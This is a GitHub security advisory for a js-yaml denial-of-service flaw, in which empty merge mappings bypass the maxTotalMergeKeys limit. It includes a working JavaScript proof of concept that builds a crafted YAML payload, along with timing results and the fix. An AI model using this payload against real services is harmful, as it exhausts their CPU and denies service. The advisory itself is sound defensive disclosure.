{"id":"GHSA-r3ph-w7gj-g6xm","summary":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","details":"## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - \u003c\u003c: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - \u003c\u003c: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.","modified":"2026-09-29T18:15:05.565309337Z","published":"2026-09-29T17:57:39Z","database_specific":{"github_reviewed_at":"2026-09-29T17:57:39Z","nvd_published_at":null,"cwe_ids":["CWE-400","CWE-407"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"},{"type":"PACKAGE","url":"https://github.com/nodeca/js-yaml"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/5.4.1"}],"affected":[{"package":{"name":"js-yaml","ecosystem":"npm","purl":"pkg:npm/js-yaml"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.4.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-r3ph-w7gj-g6xm/GHSA-r3ph-w7gj-g6xm.json","last_known_affected_version_range":"\u003c= 5.4.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}